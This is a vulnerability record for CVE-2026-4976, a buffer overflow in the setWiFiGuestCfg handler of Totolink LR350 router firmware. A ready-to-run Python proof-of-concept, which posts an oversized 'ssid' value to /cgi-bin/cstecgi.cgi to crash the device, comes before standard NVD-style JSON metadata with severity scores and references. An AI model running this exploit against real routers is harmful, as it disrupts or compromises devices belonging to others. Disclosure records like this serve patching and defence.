CVE-2026-4976

import requests def exploit(target_ip): # Target endpoint url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Vulnerable payload: Buffer overflow in 'ssid' parameter # 'A' * 500 is used to trigger the crash/overflow payload_data = { "function": "setWiFiGuestCfg", "ssid": "A" * 500 } try: # Send the malicious request response = requests.post(url, headers=headers, data=payload_data, timeout=10) print(f"[+] Request sent to {url}") print(f"[+] Status Code: {response.status_code}") # Check if service is down (potential DoS) or behavior changed except requests.exceptions.RequestException as e: print(f"[-] Exploit failed or service crashed: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print("Usage: python poc.py <target_ip>") else: exploit(sys.argv[1])

{"cve": {"id": "CVE-2026-4976", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:28.123", "lastModified": "2026-04-03T11:30:32.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Totolink LR350 9.3.5u.6369_B20220309. This vulnerability affects the function setWiFiGuestCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ssid results in buffer overflow. The attack can be launched remotely. The exploit has been made public and could be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr350_firmware:9.3.5u.6369_b20220309:*:*:*:*:*:*:*", "matchCriteriaId": "6E7C618F-D415-4075-96A5-45E44B52FB62"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr350:-:*:*:*:*:*:*:*", "matchCriteriaId": "4CA0663B-3F55-44EF-AF32-F83AB0411748"}]}]}], "references": [{"url": "https://lavender-bicycle-a5a.notion.site/TOTOLINK-LR350-setWiFiGuestCfg-32153a41781f8048a918c1c78e95064e?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.353863", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.353863", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.778274", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}